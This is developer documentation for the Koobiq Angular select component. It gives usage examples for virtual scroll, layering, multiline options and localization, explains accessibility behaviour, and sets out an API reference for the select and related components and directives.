When option values are objects, provide a `virtualOptionFactory` that maps a value to a `KbqVirtualOption` carrying the display label (and optionally a per-value `disabled` state). The factory is used whenever the selected value's `KbqOption` is not currently rendered — virtual scroll recycled it out of the viewport, the value was set programmatically before its option was rendered, or the value is missing from the currently loaded data (server-side search). The same `KbqVirtualOption` powers the trigger label in single mode and tag labels in multiple mode.

Narrowing the data source down — a search field over the same array — keeps the selected value in the trigger even while its option is filtered out of the list.

Collapsing the panel around an empty result uses the CSS `:has()` selector, supported by every browser the library targets (Chrome 105+, Edge 105+, Safari 15.4+, Firefox 121+). An older browser keeps the full viewport height instead of shrinking to the message; nothing else changes.

**Example: Select virtual scroll** (`select-virtual-scroll`)

```ts select-virtual-scroll-example.ts
import { CdkVirtualScrollViewport, ScrollingModule } from '@angular/cdk/scrolling';
import { ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { KbqVirtualOption } from '@koobiq/components/core';
import { KbqScrollbarViewport } from '@koobiq/components/scrollbar';
import { KbqSelectModule } from '@koobiq/components/select';

type OptionItem = { id: number; label: string };

@Component({
    selector: 'select-virtual-scroll-example',
    imports: [KbqSelectModule, ScrollingModule, KbqScrollbarViewport],
    template: `
        <kbq-form-field>
            <kbq-select
                [compareWith]="compareWith"
                [virtualOptionFactory]="virtualOptionFactory"
                [(value)]="selected"
                (openedChange)="openedChange($event)"
            >
                <cdk-virtual-scroll-viewport kbqScrollbarViewport itemSize="32" minBufferPx="300" maxBufferPx="300">
                    <kbq-option *cdkVirtualFor="let option of options" [value]="option">
                        {{ option.label }}
                    </kbq-option>
                </cdk-virtual-scroll-viewport>
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectVirtualScrollExample {
    readonly options: OptionItem[] = Array.from({ length: 10000 }).map((_, i) => ({ id: i, label: `Option #${i}` }));
    readonly virtualScrollViewport = viewChild.required(CdkVirtualScrollViewport);

    selected: OptionItem = this.options[0];

    readonly compareWith = (a: OptionItem | null, b: OptionItem | null) => a?.id === b?.id;
    readonly virtualOptionFactory = (value: OptionItem) => new KbqVirtualOption(value, false, value.label);

    openedChange(isOpened: boolean): void {
        if (!isOpened) return;
        this.virtualScrollViewport().scrollToIndex(this.selected.id);
    }
}
```

#### Layering

By default, the dropdown menu appears above the horizontal [Navbar](https://koobiq.io/en/components/navbar.md) and [Topbar](https://koobiq.io/en/components/top-bar.md). To have it slide under them while the page scrolls, as in the example below, mark the content area with `kbqOverlayLayer` — see [Panels under a sticky header](https://koobiq.io/en/components/core.md#panels-under-a-sticky-header).

**Example: select-scrolling-and-layering** (`select-scrolling-and-layering`)

```ts select-scrolling-and-layering-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';

@Component({
    selector: 'select-scrolling-and-layering-example',
    template: `
        <iframe
            src="/examples/select-scrolling-and-layering-page"
            loading="lazy"
            width="648"
            height="400"
            title="select-scrolling-and-layering-example"
            style="border: none"
        ></iframe>
    `,
    styles: `
        :host {
            display: flex;
            margin: -20px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectScrollingAndLayeringExample {}
```

#### Caption in options

By default, long option text is truncated to a single line. Add `multilineOptions` to wrap option text across multiple lines. The panel automatically matches the trigger width, but never becomes narrower than `panelMinWidth` (200px by default); an explicit `panelWidth` overrides this behavior. `multilineOptions` is not supported with `cdk-virtual-scroll-viewport`: options stay single-line and the panel keeps its existing width behavior.

**Example: select two line option** (`select-two-line-option`)

```ts select-two-line-option-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-two-line-option-example',
    imports: [KbqSelectModule],
    template: `
        <kbq-form-field>
            <kbq-select multiple multilineOptions [value]="selected">
                @for (option of options; track option) {
                    <kbq-option [value]="option" [viewValue]="option">
                        <div>{{ option }}</div>
                        <div class="kbq-option-caption">caption</div>
                    </kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectTwoLineOptionExample {
    readonly options = [
        'Option #0',
        'Option #1',
        'Option #2 with a very long label that does not fit on a single line of the panel',
        'Option #3',
        'Option #4 with another quite long label that also has to wrap onto the next line'
    ];
    readonly selected = [this.options[0]];
}
```

#### Localization

The strings the select renders itself — the `select all` label, the hidden-items counter, the accessible names of the cleaner and of the tag remove buttons — follow the active locale. Bind `[localeOverrides]` to override them for one instance; every key you leave out keeps following the locale. See the [localization guide](https://koobiq.io/en/main/localization.md) for the other ways to override them.

**Example: Select locale configuration** (`select-locale-configuration`)

```ts select-locale-configuration-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'select-locale-configuration-example',
    imports: [KbqFormFieldModule, KbqSelectModule],
    template: `
        <kbq-form-field>
            <kbq-label>Default strings</kbq-label>
            <kbq-select multiple selectAll placeholder="Placeholder" [value]="selected">
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>

        <kbq-form-field>
            <kbq-label>Overridden for this instance only</kbq-label>
            <!-- Keyed by locale section, so one binding also reaches the accessible name of the cleaner
                 projected into the select. Every string it does not mention keeps following the locale. -->
            <kbq-select
                multiple
                selectAll
                placeholder="Placeholder"
                [value]="selected"
                [localeOverrides]="{
                    select: { selectAll: 'Take everything' },
                    a11y: { clear: 'Drop the selection' }
                }"
            >
                <kbq-cleaner />
                @for (option of options; track option) {
                    <kbq-option [value]="option">{{ option }}</kbq-option>
                }
            </kbq-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        .kbq-form-field-type-select {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SelectLocaleConfigurationExample {
    readonly options = Array.from({ length: 4 }).map((_, i) => `Option ${i + 1}`);
    readonly selected = [this.options[0]];
}
```

#### Accessibility

The select is announced as a `combobox` that owns a `listbox`. `aria-expanded` follows the panel and `aria-controls` points at the option list while it is open. Opening the panel moves DOM focus into it: onto the option the arrow keys are on, which is how that option announces itself, or onto the search field when one is projected.

The select is a custom element, so a `<label for>` cannot name it. Inside a `kbq-form-field` the label does it through `aria-labelledby`, which the select wires up on its own:

```html
<kbq-form-field>
    <kbq-label>Country</kbq-label>
    <kbq-select [formControl]="control">…</kbq-select>
</kbq-form-field>
```

Without a form-field label, name the select with `aria-label` — it names both the trigger and the option list:

```html
<kbq-select aria-label="Country">…</kbq-select>
```

With neither, the `placeholder` becomes the name — a placeholder is rendered as ordinary text, which names nothing on its own.

Every option is an `option` carrying `aria-selected` and `aria-disabled`; `kbq-optgroup` is a `group` named by its own heading. The "select all" row stays an option too and reports the batch state on `aria-checked`, including `mixed` for a partial selection. The pseudo-checkbox next to an option is decorative and hidden from assistive technology — the selected state is already on the option itself.

While the panel shows something other than options — the loading, error or empty state, or an empty search result — the option list is marked `aria-busy`, so it is not announced as a list of options with nothing in it.

In multiple selection mode every tag has its own remove control: a `button` operable with `Enter` and `Space`. Its name is built from the a11y locale (`remove`) and the value's own text, so it is announced as "Remove Country", not just "Remove". Only the tags the trigger actually shows take a place in the tab order — the ones the "+N" counter stands for are clipped out of sight, and a tab stop there would move focus to something invisible. A custom `#kbqSelectTagContent` template replaces that markup wholesale — reproduce the control if you keep tag removal.

When the operating system asks for reduced motion, the panel opens and closes without the fade animation.

#### Recommendations

- If you are using a select without a label, we suggest adding a placeholder to indicate what information the user should select. For example, “Country.”
- If there are more than 10 items in the list of values, then enable the search display in the select header. This will make it easier to find values.

### API

#### Components

##### KbqSelect (component)

```ts
@Component({ selector: 'kbq-select', exportAs: 'kbqSelect' })
class KbqSelect extends KbqAbstractSelect implements ControlValueAccessor, KbqFormFieldControl<any>, CanUpdateErrorState, KbqSiblingPopup, KbqOptionParentComponent {
    readonly hiddenItemsText = input<string>();
    readonly hiddenItemsTextFormatter = input<(hiddenItemsText: string, hiddenItems: number) => string>(
        (hiddenItemsText, hiddenItems) => hiddenItemsText.replace('{{ number }}', hiddenItems.toString())
    );
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
    readonly showPreselectedValues = input<boolean>(false);
    readonly triggerValuesLimit = input<number>(0);
    readonly panelClass = input<string | string[] | Set<string> | Record<string, boolean>>();
    readonly backdropClass = input<string>(
        'cdk-overlay-transparent-backdrop'
    );
    readonly errorStateMatcher = input<ErrorStateMatcher>();
    readonly sortComparator = input<(a: KbqOptionBase, b: KbqOptionBase, options: KbqOptionBase[]) => number>();
    readonly multiline = input<boolean>(false);
    readonly multilineOptions = input<boolean>(
        this.defaultOptions?.multilineOptions ?? false
    );
    readonly searchMinOptionsThreshold = input<'auto' | number | undefined>();
    readonly scrolledToBottomOffset = input<number>(0);
    readonly hasBackdrop = input<boolean>(false);
    readonly placeholder = input<string>();
    readonly required = input<boolean>(false);
    multiple = input<boolean>(false);
    readonly compareWith = input<(o1: any, o2: any) => boolean>(
        (o1, o2) => o1 === o2
    );
    readonly virtualOptionFactory = input<(value: any) => KbqVirtualOption>();
    readonly clearPredicate = input<(option: KbqOptionBase) => boolean>(
        this.defaultOptions?.clearPredicate ?? ((option) => !option.disabled)
    );
    readonly selectAllToggle = input<boolean>(false);
    readonly selectAll = input<boolean>(false);
    selectAllHandler = input<((event: KeyboardEvent, select: KbqSelect) => void) | undefined>();
    readonly panelWidth = input<KbqPanelWidth>(
        this.defaultOptions?.panelWidth ?? null
    );
    readonly panelMinWidth = input<KbqPanelMinWidth>(
        this.defaultOptions?.panelMinWidth === undefined
            ? KBQ_PANEL_DEFAULT_MIN_WIDTH
            : this.defaultOptions.panelMinWidth
    );
    readonly panelMaxWidth = input<KbqPanelMaxWidth>(
        this.defaultOptions?.panelMaxWidth === undefined ? null : this.defaultOptions.panelMaxWidth
    );
    readonly panelMaxHeight = input<KbqPanelMaxHeight>(
        this.defaultOptions?.panelMaxHeight === undefined ? null : this.defaultOptions.panelMaxHeight
    );
    readonly value = model<any>();
    readonly id = input<string | undefined>();
    readonly disabled = input<boolean>(false);
    readonly beforeOpened = output<void>();
    readonly selectionChange = output<KbqSelectChange>();
    readonly onSelectAll = output<KbqSelectAllEvent<KbqOption, KbqSelect>>();
    readonly scrolledToBottom = output<void>();
    defaultErrorStateMatcher: ErrorStateMatcher;
    elementRef: ElementRef<HTMLElement>;
    parentForm: NgForm | null;
    parentFormGroup: FormGroupDirective | null;
    ngControl: NgControl | null;
    readonly errorState: Signal<boolean>;
    controlType: string;
    readonly isNativeLabelSupported: false;
    readonly hiddenItems: Signal<number>;
    triggerFontSize: number;
    selectionModel: SelectionModel<KbqOptionBase>;
    previousSelectionModelSelected: KbqOptionBase[];
    keyManager: ActiveDescendantKeyManager<KbqOption>;
    transformOrigin: string;
    panelDoneAnimatingStream: Subject<string>;
    scrollStrategy: ScrollStrategy;
    positions: ConnectedPosition[];
    readonly trigger: Signal<ElementRef<any> | undefined>;
    readonly panel: Signal<ElementRef<any> | undefined>;
    readonly optionsContainer: Signal<ElementRef<any>>;
    readonly selectAllOption: Signal<KbqOption | undefined>;
    readonly footer: Signal<ElementRef<any> | undefined>;
    readonly cdkVirtualForOf: Signal<CdkVirtualForOf<any> | undefined>;
    readonly virtualScrollViewport: Signal<CdkVirtualScrollViewport | undefined>;
    get tags(): QueryList<KbqTag>;
    readonly customTrigger: Signal<KbqSelectTrigger | undefined>;
    readonly customMatcher: Signal<KbqSelectMatcher | undefined>;
    readonly customTagTemplateRef: Signal<TemplateRef<any> | undefined>;
    get options(): QueryList<KbqOption>;
    readonly optionGroups: Signal<readonly KbqOptgroup[]>;
    readonly search: Signal<KbqSelectSearch | undefined>;
    readonly searchEmpty: Signal<KbqSelectSearchEmptyResult | undefined>;
    readonly optionSelectionChanges: Observable<KbqOptionSelectionChange>;
    readonly openedChange: EventEmitter<boolean>;
    readonly openedStream: Observable<void>;
    readonly closedStream: Observable<void>;
    readonly focused: Signal<boolean>;
    panelOpen: boolean;
    get isAttached(): boolean;
    withVirtualScroll: boolean;
    get isEmptySearchResult(): boolean;
    get allOptionsSelected(): boolean;
    get selectAllState(): KbqPseudoCheckboxState;
    get selected(): KbqOptionBase | KbqOptionBase[];
    get triggerValue(): string;
    get triggerValues(): KbqOptionBase[];
    readonly empty: Signal<boolean>;
    get noOptions(): boolean;
    get firstSelected(): KbqOptionBase | null;
    get firstFiltered(): boolean;
    get multiSelection(): boolean;
    calculateHiddenItems: () => void;
    updateErrorState(): void;
    resetSearch(): void;
    toggle(): void;
    open(): void;
    openPanel(): void;
    close(): void;
    isRtl(): boolean;
    handleKeydown(event: KeyboardEvent): void;
    onFocus(): void;
    onBlur(): void;
    onAttached(): void;
    getPanelTheme(): string;
    focus(): void;
    onRemoveMatcherItem(option: KbqOptionBase, $event: Event): void;
    getItemHeight(): number;
    handleClick($event: MouseEvent): void;
}
```

- `[hiddenItemsText]`: `string` — Template string for the hidden items counter. Supports the `{{ number }}` placeholder.

  Takes precedence over the value the locale service provides, and keeps it for the whole lifetime of
  the select — switching the locale no longer overwrites what the consumer asked for.
- `[hiddenItemsTextFormatter]`: `(hiddenItemsText: string, hiddenItems: number) => string` — Formats the hidden items counter.
- `[aria-label]`: `string | null` — Accessible name of the trigger and of the option list.

  Only needed for a select rendered without a `kbq-form-field` label — with one, the label names both.
- `[showPreselectedValues]`: `boolean` — Determines whether preselected values are displayed.
- `[triggerValuesLimit]`: `number` — Specifies the maximum number of trigger values allowed.
  This constant limits the size of the trigger values array to ensure performance
  and prevent excessive memory usage.
  A value of `0` indicates that there is no limit.
- `[panelClass]`: `string | string[] | Set<string> | Record<string, boolean>` — Classes to be passed to the select panel. Supports the same syntax as the `[class]` binding.
- `[backdropClass]`: `string` — Classes to be passed to the overlay backdrop.
- `[errorStateMatcher]`: `ErrorStateMatcher` — Object used to control when error messages are shown.
- `[sortComparator]`: `(a: KbqOptionBase, b: KbqOptionBase, options: KbqOptionBase[]) => number` — Function used to sort the values in a select in multiple mode.
  Follows the same logic as `Array.prototype.sort`.

  Without one the values are emitted in panel order — the order the options are declared in, not the
  order they were picked in. A value whose option is not rendered (a `KbqVirtualOption` under virtual
  scroll or `showPreselectedValues`) has no place in that order and sorts after everything that has.
- `[multiline]`: `boolean` — Whether to use a multiline matcher or not. Default is false.
  When true, allows multiple lines of text in the selected value display.
- `[multilineOptions]`: `boolean` — Whether option text wraps onto multiple lines. When `panelWidth` is nullish, the panel matches the trigger
  width; an explicit `panelWidth` takes precedence. Not supported with `cdk-virtual-scroll-viewport`: the panel
  modifier and automatic width fallback are not applied. Defaults to `false`.
- `[searchMinOptionsThreshold]`: `'auto' | number | undefined` — Controls when the search functionality is displayed based on the number of available options.

  Automatically enables search hiding if value provided, even if `defaultOptions.searchMinOptionsThreshold` is provided.

  Accepts `'auto'`, which resolves to `KBQ_SELECT_SEARCH_MIN_OPTIONS_THRESHOLD`; the getter therefore
  reports the resolved number, never `'auto'`. Defaults to `undefined`.
- `[scrolledToBottomOffset]`: `number` — Distance in pixels from the bottom of the options panel at which `scrolledToBottom` fires.
  Default `0` — emits only when the panel is fully scrolled to the bottom.
- `[hasBackdrop]`: `boolean` — Whether the overlay should have a backdrop.
  When true, clicking the backdrop will close the select.
- `[placeholder]`: `string` — Placeholder text to be shown when no value is selected.
  Displayed in the trigger when the select is closed and no value is selected.
- `[required]`: `boolean` — Whether the select is required. Affects validation and display of placeholder.
- `[multiple]`: `boolean` — Whether multiple options can be selected.
  Note: This cannot be changed dynamically after initialization.
- `[compareWith]`: `(o1: any, o2: any) => boolean` — Function to compare the option values with the selected values.
  The first argument is a value from an option.
  The second is a value from the selection.
  Should return true if the values match.
  Defaults to strict equality comparison.
- `[virtualOptionFactory]`: `(value: any) => KbqVirtualOption` — Factory used to construct a `KbqVirtualOption` for selected values whose
  `KbqOption` is not currently rendered (e.g. virtual scroll out of viewport,
  programmatically set initial value, `showPreselectedValues`).

  Required when option values are objects so the trigger (and tags in
  multiple mode) can render a human-readable label. Also lets consumers
  customise per-value `disabled` state or any future `KbqVirtualOption`
  fields without adding new `@Input`s.

  Defaults to `new KbqVirtualOption(value, this.disabled())`, which is correct
  for primitive values where `value` itself is the display label.
- `[clearPredicate]`: `(option: KbqOptionBase) => boolean` — Decides which selected options the projected `KbqCleaner` removes: return `true` to clear the
  option, `false` to keep it. Disabled options are kept by default. Bind a stable reference — a new
  function on every change detection re-runs the predicate over the whole selection.

  Not consulted by `writeValue` / `reset()`, which always clear everything.
- `[selectAllToggle]`: `boolean` — When `true`, a repeated Ctrl/Cmd+A deselects all options. Off by default (Ctrl+A only selects).
- `[selectAll]`: `boolean` — Whether to render the "select all" master checkbox above the options. Multiple selection only.

  The row acts on the options the user can actually toggle — rendered, enabled and selectable. Since
  search filtering removes options from the DOM, "select all" under an active query selects only the
  matches. Enabling it also makes Ctrl/Cmd + A a two-way toggle, so the shortcut and the checkbox
  never disagree (`selectAllToggle` is implied).
- `[selectAllHandler]`: `((event: KeyboardEvent, select: KbqSelect) => void) | undefined` — Function for handling the Ctrl + A (select all) keyboard combination.
  By default, the internal handler selects all options.
  It is called with the keyboard event that triggered it and a reference to this select component.
- `[panelWidth]`: `KbqPanelWidth` — Width of the panel. If set to `auto`, the panel will match the trigger width, but will never be
  narrower than `panelMinWidth`. If set to null or an empty string, the panel will grow to match the
  longest option's text. Any other value is used as an exact width, and `panelMinWidth` is not applied.
- `[panelMinWidth]`: `KbqPanelMinWidth` — Minimum width of the panel in pixels.
  If minWidth is larger than window width, it will be ignored.
- `[panelMaxWidth]`: `KbqPanelMaxWidth` — Maximum width of the panel in pixels. Caps how far the panel grows with its content — it never makes
  the panel narrower than the trigger, and never clamps an explicit `panelWidth`.
  When null, the `--kbq-panel-size-width-max` token applies.
- `[panelMaxHeight]`: `KbqPanelMaxHeight` — Maximum height of the panel's scrollable option list, in pixels. Applied as the
  `--kbq-select-panel-size-max-height` custom property on the panel, so it also drives the pinned height
  of a `cdk-virtual-scroll-viewport` — with virtual scroll the value is an exact height, not a cap.

  The search field and the footer sit outside the scrollable area and add to the panel's total height.
  When null, the token default (256px) applies.
- `[(value)]`: `any` — Value of the select control. Can be a single value or array of values for multiple selection. Follows
  `[value]`, the form control and the user's selection. A value set in code selects its options on the next
  change detection, without emitting `valueChange`.
- `[id]`: `string | undefined` — Unique identifier for the select component.
  Auto-generates an ID if not provided.
- `[disabled]`: `boolean` — Whether the select is disabled.
  When disabled, the select cannot be opened and its value cannot be changed. Also set by the bound form
  control.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `(beforeOpened)`: `void` — Event emitted before the select panel starts opening.
- `(selectionChange)`: `KbqSelectChange` — Event emitted when the selected value has been changed by the user.
- `(onSelectAll)`: `KbqSelectAllEvent<KbqOption, KbqSelect>` — Event emitted when all options are selected or deselected via the Ctrl/Cmd + A shortcut.
  Not emitted when a custom `selectAllHandler` is supplied — the handler owns the behaviour then.
- `(scrolledToBottom)`: `void` — Emits when the options panel is scrolled to (or within `scrolledToBottomOffset` of) the bottom.
- `errorState`: `Signal<boolean>` — Whether the component is in an error state.
- `controlType`: `string` — A name for this control that can be used by `kbq-form-field`.
- `isNativeLabelSupported`: `false` — A `kbq-select` is not a native labelable element, so the form-field's `<label for>` cannot
  associate with it. The select is named through `aria-labelledby` instead.
- `hiddenItems`: `Signal<number>` — Number of the selected items that do not fit into the trigger.
- `triggerFontSize`: `number` — The cached font-size of the trigger element in pixels.
- `selectionModel`: `SelectionModel<KbqOptionBase>` — Deals with the selection logic. Manages selected options and their states.
- `previousSelectionModelSelected`: `KbqOptionBase[]` — Previously selected options before the current selection was made.
- `keyManager`: `ActiveDescendantKeyManager<KbqOption>` — Manages keyboard events for options in the panel.
- `transformOrigin`: `string` — The value of the select panel's transform-origin property.
- `panelDoneAnimatingStream`: `Subject<string>` — Emits once the panel has rendered (`'showing'`) or has been removed (`'void'`).
- `scrollStrategy`: `ScrollStrategy` — Strategy that will be used to handle scrolling while the select panel is open.
- `positions`: `ConnectedPosition[]` — Opens the panel below the trigger, falling back to above it when it does not fit.

  A third position is appended at runtime by `updatePanelAnchor`: a multiline trigger that has grown
  taller than the panel gets it anchored to its first row and drawn over the rest of it.
- `trigger`: `Signal<ElementRef<any> | undefined>` — Trigger - is a clickable field to open select dropdown panel
- `panel`: `Signal<ElementRef<any> | undefined>` — Reference to the overlay panel element.
- `optionsContainer`: `Signal<ElementRef<any>>` — Reference to the container element that holds the options.
- `selectAllOption`: `Signal<KbqOption | undefined>` — Reference to the built-in "select all" row, rendered only while `selectAll` is on.
- `footer`: `Signal<ElementRef<any> | undefined>` — Reference to the optional footer element in the panel.
- `cdkVirtualForOf`: `Signal<CdkVirtualForOf<any> | undefined>` — Reference to the CDK virtual scroll directive for virtual scrolling support.
- `virtualScrollViewport`: `Signal<CdkVirtualScrollViewport | undefined>` — Reference to the CDK virtual scroll viewport for tracking scroll position in virtual mode.
- `tags`: `QueryList<KbqTag>` — Query list of tags displayed in multiple selection mode.
- `customTrigger`: `Signal<KbqSelectTrigger | undefined>` — User-supplied override of the trigger element for custom rendering.
- `customMatcher`: `Signal<KbqSelectMatcher | undefined>` — User-supplied matcher component for custom value matching logic.
- `customTagTemplateRef`: `Signal<TemplateRef<any> | undefined>` — Custom template reference for rendering tag content.
- `options`: `QueryList<KbqOption>` — All of the defined select options.
- `optionGroups`: `Signal<readonly KbqOptgroup[]>` — All of the defined groups of options.
- `search`: `Signal<KbqSelectSearch | undefined>` — Reference to the optional search component.
- `searchEmpty`: `Signal<KbqSelectSearchEmptyResult | undefined>` — Reference to the optional empty search result component.
- `optionSelectionChanges`: `Observable<KbqOptionSelectionChange>` — Combined stream of all of the child options' change events.
- `openedChange`: `EventEmitter<boolean>` — Event emitted when the select panel has been toggled. Emits true when opened, false when closed.
  Also serves as the `openedChange` member of the `KbqSiblingPopup` contract — a tooltip sharing
  this element's host reacts to it, so its emission timing (gated on `panelDoneAnimatingStream`, see
  `ngOnInit`) matters beyond this output's original consumers.
- `openedStream`: `Observable<void>` — Event emitted when the select has been opened.
- `closedStream`: `Observable<void>` — Event emitted when the select has been closed.
- `focused`: `Signal<boolean>` — Whether the select is focused.
- `panelOpen`: `boolean` — Whether the select panel is currently open.
- `isAttached`: `boolean` — Whether the overlay panel is currently on screen. Part of the `KbqSiblingPopup` contract.
- `withVirtualScroll`: `boolean` — Whether virtual scrolling is enabled for the options panel.
- `isEmptySearchResult`: `boolean` — Whether the search returned no results.
- `allOptionsSelected`: `boolean` — Whether every option "select all" can act on is selected.
- `selectAllState`: `KbqPseudoCheckboxState` — State of the "select all" master checkbox.
- `selected`: `KbqOptionBase | KbqOptionBase[]` — Returns the currently selected option(s). Single value or array for multiple selection.
- `triggerValue`: `string` — Returns the display value for the trigger element.
- `triggerValues`: `KbqOptionBase[]` — Returns all selected options in display order.
- `empty`: `Signal<boolean>` — Whether no option is currently selected.
- `noOptions`: `boolean` — Whether there are no options available.
- `firstSelected`: `KbqOptionBase | null` — Returns the first selected option that is not disabled.
- `firstFiltered`: `boolean` — Whether the first selected option is filtered (not visible in the list).
- `multiSelection`: `boolean` — Whether multiple choice is enabled. True if multiple or multiline mode is active.
- `calculateHiddenItems`: `() => void` — Calculates the number of hidden items in multiple selection mode and updates `hiddenItems`.
- `updateErrorState()`: `void` — Updates the error state based on the error state matcher.
- `resetSearch()`: `void` — Resets the search component if present.
- `toggle()`: `void` — Toggles the overlay panel open or closed.
- `open()`: `void` — Triggers the opening of the panel component.
  If the component is disabled or the panel is already open, the call is ignored.
  Otherwise, the (beforeOpened) event is emitted.
  When no options are available, the panel is opened after a short delay;
  if options exist, it opens immediately.
- `openPanel()`: `void` — Internal method to open the panel. Handles overlay positioning and sizing.
  Sets up the overlay dimensions based on trigger size and configured options.
- `close()`: `void` — Closes the overlay panel.
- `isRtl()`: `boolean` — Checks if the current direction is RTL (right-to-left).
  - returns `boolean` — True if RTL mode is active, false otherwise.
- `handleKeydown()`: `void` — Handles all keyboard events for the select.
  Delegates to appropriate handler based on panel state.
  - `event`: `KeyboardEvent` — The keyboard event to handle.
- `onFocus()`: `void` — Handles focus event on the select element.
- `onBlur()`: `void` — Calls the touched callback only if the panel is closed. Otherwise, the trigger will
  "blur" to the panel when it opens, causing a false positive.
- `onAttached()`: `void` — Callback that is invoked when the overlay panel has been attached.
  Sets up position change subscription and closing actions.
- `getPanelTheme()`: `string` — Returns the theme to be used on the panel based on parent form field color.
- `focus()`: `void` — Focuses the select element.
- `onRemoveMatcherItem()`: `void` — Handles removal of a matched item in the trigger.
  - `option`: `KbqOptionBase` — The option to remove from selection.
  - `$event`: `Event` — The mouse or keyboard event that triggered the removal.
- `getItemHeight()`: `number` — Gets the height of a single option item.
  - returns `number` — The height in pixels of the first option, or 0 if no options exist.
- `handleClick()`: `void` — Handles click events on the select.
  Closes the panel if click is inside the footer.
  - `$event`: `MouseEvent` — The mouse event to handle.

##### KbqSelectError (component)

This component renders the error for a Select component.
The error message can be displayed in two visual variants: a default centered layout (when [paging] is falsy)
or a variant with left‑aligned text suitable for pagination controls (when [paging] is truthy).

```ts
@Component({
    selector: 'kbq-select-error, [kbq-select-error]',
    exportAs: 'kbqSelectError'
})
class KbqSelectError {
    readonly paging = input<boolean>(false);
}
```

- `[paging]`: `boolean` — Indicates whether styles for pagination controls should be used.

##### KbqSelectLoading (component)

```ts
@Component({
    selector: 'kbq-select-loading, [kbq-select-loading]',
    exportAs: 'kbqSelectLoading'
})
class KbqSelectLoading {}
```

##### KbqSelectNoOptions (component)

Component that represents the empty state of a select dropdown.

```ts
@Component({
    selector: 'kbq-select-no-options, [kbq-select-no-options]',
    exportAs: 'kbqSelectNoOptions'
})
class KbqSelectNoOptions {}
```

#### Directives

##### KbqOptionTooltip (directive)

```ts
@Directive({ selector: 'kbq-option' })
class KbqOptionTooltip extends KbqTooltipTrigger {
    readonly ignoreTooltipPointerEvents = input<boolean>(true);
    readonly forDisabledComponent = input<Record<'disabledSignal', WritableSignal<boolean>>>();
    readonly singleInstance = input<boolean>(
        inject(KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT),
        { alias: 'kbqTooltipSingleInstance' }
    );
    hideWithTimeout = input<boolean | undefined>();
    get textElement(): HTMLElement;
    get isOverflown(): boolean;
    tooltipVisible: boolean;
    tooltipPlacement: KbqPopUpPlacementValues;
    relativeToPointer: boolean;
    relativeToCaret: boolean;
    relativeToCaretVertical: KbqCaretVerticalAnchor;
    tooltipPlacementPriority: string | string[] | null;
    content: string | TemplateRef<unknown>;
    disabled: boolean;
    enterDelay: number;
    leaveDelay: number;
    trigger: string;
    customClass: string;
    context: unknown;
    color: KbqComponentColors | string;
    arrow: boolean;
    arrowCentered: boolean;
    offset: number | null;
    readonly placementChange: EventEmitter<KbqPopUpPlacementValues>;
    readonly visibleChange: EventEmitter<boolean>;
    modifier: KbqEnumValues<TooltipModifier>;
    header: string | TemplateRef<unknown>;
    isOpen: boolean;
    get isAttached(): boolean;
    get openedChange(): Observable<boolean>;
    handleElementEnter(): void;
    handleElementLeave(): void;
    show(delay?: number): void;
    hide(delay?: number): void;
    showForMouseEvent(event: MouseEvent): void;
    showForElement(element: HTMLElement): void;
    updateOrigin(origin: KbqOverlayOrigin | null): void;
}
```

- `[ignoreTooltipPointerEvents]`: `boolean` — Overrides the tooltip's hoverable default. The overflow hint floats over the neighbouring options of a
  scrolling list, so a pointer-capturing pane would swallow the click that selects them.
- `[forDisabledComponent]`: `Record<'disabledSignal', WritableSignal<boolean>>` — Input for controlling the disabled state of a component.

  The input expects a component containing `disabledSignal` property, which is
  a writable signal emitting boolean values.
- `[kbqTooltipSingleInstance]`: `boolean` — Whether the tooltip takes part in the "only one tooltip is visible at a time" group: showing it
  hides the previously visible tooltip, and it is hidden when another tooltip is shown.

  Defaults to `true`; the default can be changed application-wide with the
  `KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT` token.

  Tooltips without an interactive `kbqTrigger` (`manual`, `none`, …) never take part in the group,
  regardless of this input — they are shown imperatively and are expected to stay pinned.
- `[hideWithTimeout]`: `boolean | undefined` — Changes hiding behavior. By default, tooltip is hidden on mouseleave from trigger.
  Setting hideWithTimeout to true will delay tooltip hiding and will not hide when the mouse moves from trigger
  to tooltip.
- `tooltipVisible`: `boolean` — Input (`kbqVisible`) that programmatically shows or hides the tooltip; reflects the current `visible` state.
- `tooltipPlacement`: `KbqPopUpPlacementValues` — Input (`kbqPlacement`) that sets the tooltip placement relative to its trigger; reflects the current `placement`.
- `relativeToPointer`: `boolean` — Positions the tooltip relative to the mouse cursor. Only available for top and bottom kbqPlacement.
  Does not work with kbqPlacementPriority.
- `relativeToCaret`: `boolean` — Positions the tooltip relative to the text caret of the field it is attached to, following it while the
  user types, moves the caret and scrolls the field. Anchors to the selection whenever there is one.

  Every placement is available, unlike with `kbqRelativeToPointer`: the caret is anchored as a rectangle,
  so the usual fallback placements keep the tooltip on screen. Wins when both inputs are enabled.

  The field is the host element itself when it is editable, otherwise the first editable it wraps.
